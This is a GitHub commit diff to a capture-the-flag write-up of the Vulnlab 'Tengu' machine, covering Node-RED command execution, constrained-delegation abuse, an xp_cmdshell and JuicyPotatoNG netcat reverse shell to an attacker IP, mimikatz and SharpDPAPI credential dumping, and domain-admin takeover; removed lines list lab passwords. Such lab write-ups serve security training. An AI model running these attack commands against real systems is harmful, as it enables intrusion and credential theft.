mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-09-19 22:11:52 +00:00
Update Tengu.md
This commit is contained in:
ARZ
GitHub
parent
06211c9b13
commit
339c426d5e
1 changed files with 140 additions and 8 deletions
148
Vulnlab/Tengu.md
148
Vulnlab/Tengu.md
|
|
@ -36,7 +36,7 @@ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
|||
|
||||
```
|
||||
|
||||
##
|
||||
## nodered.tengu.vl
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
|
|
@ -51,6 +51,8 @@ Both windows hosts had only RDP service enabled, on linux hosts, there was somet
|
|||
|
||||
<img src="https://i.imgur.com/DVKxUbk.png"/>
|
||||
|
||||
## Remote Command Execution Through Node-RED
|
||||
|
||||
Node-RED is known for getting remote command execution (RCE), to achieve this, we'll need to create a flow by timestamp block following exec block
|
||||
|
||||
<img src="https://i.imgur.com/CuLDFKt.png"/>
|
||||
|
|
@ -71,6 +73,8 @@ From `nodered` directory, we can find some type of hashed password but not reall
|
|||
|
||||
<img src="https://i.imgur.com/RgdICoH.png"/>
|
||||
|
||||
## Accessing MSSQL
|
||||
|
||||
From sql node properties, we can see the connection string with the username `nodered_connector`
|
||||
|
||||
<img src="https://i.imgur.com/DI5KPTP.png"/>
|
||||
|
|
@ -123,15 +127,143 @@ proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p 'Tengu123' -c all -
|
|||
|
||||
<img src="https://i.imgur.com/EwzmEoc.png"/>
|
||||
|
||||
## Escalating privileges on linux host
|
||||
|
||||
From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host
|
||||
|
||||
<img src="https://i.imgur.com/vJy4Kgj.png"/>
|
||||
|
||||
Through ssh we can easily switch to `t2_m.winters` user
|
||||
|
||||
<img src="https://i.imgur.com/MvFRpCE.png"/>
|
||||
|
||||
this host has `ReadGMSAPassword` on `GMSA01$` account
|
||||
|
||||
<img src="https://i.imgur.com/cmO32Sb.png"/>
|
||||
|
||||
## Constrained Delegation on SQL Host
|
||||
|
||||
The NThash can be retrieved from `/etc/krb5.keytab`, this file contains service account hash in this case has NODERED's NThash, the hash can be extracted with KeyTabExtract https://github.com/sosdave/KeyTabExtract/tree/master
|
||||
|
||||
<img src="https://i.imgur.com/mBoMFos.png"/>
|
||||
|
||||
This hash can be verified by authenticating on DC
|
||||
|
||||
<img src="https://i.imgur.com/5APWnDt.png"/>
|
||||
|
||||
GMSA hash can be retrieved by using `--gmsa` module on LDAP
|
||||
|
||||
```bash
|
||||
proxychains nxc ldap 10.10.238.213 -u 'NODERED$' -H 'hash' --gmsa
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/YpV4Nyt.png"/>
|
||||
|
||||
This account has `AllowedToDelegate` permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation
|
||||
|
||||
<img src="https://i.imgur.com/DVWhW1q.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/h6mwH98.png"/>
|
||||
|
||||
With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn't worked for administrator
|
||||
|
||||
<img src="https://i.imgur.com/ctAd3zd.png"/>
|
||||
|
||||
Instead of admin, we can check what other users we could target, there's a group name `SQL Admins` , with two users
|
||||
|
||||
<img src="https://i.imgur.com/RFf5ajf.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/c0ECvWn.png"/>
|
||||
|
||||
Here we can try to impersonate `T1.M_Winters` and then login through MSSQL using the ticket
|
||||
|
||||
```bash
|
||||
proxychains impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T1_M.WINTERS' -hashes :hash 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.168.213
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/SapDngi.png"/>
|
||||
|
||||
From here xp_cmdshell can be enabled and system commands can be executed in the context of `gmsa01$`
|
||||
|
||||
<img src="https://i.imgur.com/ETRmBYU.png"/>
|
||||
|
||||
With netcat, we can get a reverse shell
|
||||
|
||||
<img src="https://i.imgur.com/GcMwq9K.png"/>
|
||||
|
||||
Checking our privileges, we can get local administrator by abusing `SeImpersonatePrivilege` with JuicyPotato-NG or any other recent potato exploit
|
||||
|
||||
<img src="https://i.imgur.com/idmTVMb.png"/>
|
||||
|
||||
```bash
|
||||
JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe"
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/NCQKU09.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/TWQSBKe.png"/>
|
||||
|
||||
## Lateral Movement - Extracting Credentials Trough DPAPI
|
||||
|
||||
Running mimikatz to dump local admin hash and checking if there are any hashes in lsass
|
||||
|
||||
<img src="https://i.imgur.com/LYGVWwE.png"/>
|
||||
|
||||
With `lsadump::cache` , domain cached credentials can be found where there's cached credentials for `c.fowler` but obviously this is not in NThash format so it cannot be used in pth unless it's gets cracked, which in this case was not the way
|
||||
|
||||
<img src="https://i.imgur.com/EJbLRYt.png"/>
|
||||
|
||||
To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize `sharpdpapi` to dump all credentials
|
||||
|
||||
```bash
|
||||
SharpDPAPI.exe machinecredentials
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/OX7iX2X.png"/>
|
||||
|
||||
## Using kerberos authentication to spawn a shell as T0_c.fowler
|
||||
|
||||
T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid
|
||||
|
||||
<img src="https://i.imgur.com/R3PvJ1B.png"/>
|
||||
|
||||
But the plain text password wasn't working and it's probably due to admin users belonging to Protected Users Group which is why we'll need to use kerberos authentication
|
||||
|
||||
<img src="https://i.imgur.com/yS1lrHV.png"/>
|
||||
|
||||
So instead, using `kinit` we can request TGT for the user by specifying the plain text password and we'll get our ticket using by modifying the `/etc/krb5.conf` configuration file
|
||||
|
||||
```bash
|
||||
[libdefaults]
|
||||
default_realm = TENGU.VL
|
||||
kdc_timesync = 1
|
||||
ccache_type = 4
|
||||
forwardable = true
|
||||
proxiable = true
|
||||
rdns = false
|
||||
dns_canonicalize_hostname = false
|
||||
fcc-mit-ticketflags = true
|
||||
|
||||
[realms]
|
||||
TENGU.VL = {
|
||||
kdc = dc.tengu.vl
|
||||
}
|
||||
|
||||
[domain_realm]
|
||||
.tengu.vl = TENGU.VL
|
||||
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/fqceLwJ.png"/>
|
||||
|
||||
Having the ticket, we can just dump hashes from ntds.dit using `secretsdump.py` or just spawn a shell using smb, wmi or psexec
|
||||
|
||||
<img src="https://i.imgur.com/alNNOhz.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/hE0eisH.png"/>
|
||||
|
||||
# References
|
||||
|
||||
- https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
|
||||
- https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
|
||||
|
||||
```
|
||||
nodered_connector:DreamPuppyOverall25
|
||||
t2_m.winters:af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147
|
||||
t2_m.winters:Tengu123
|
||||
|
||||
```
|
||||
- https://github.com/sosdave/KeyTabExtract/tree/master
|
||||
|
|
|
|||
Loading…
Reference in a new issue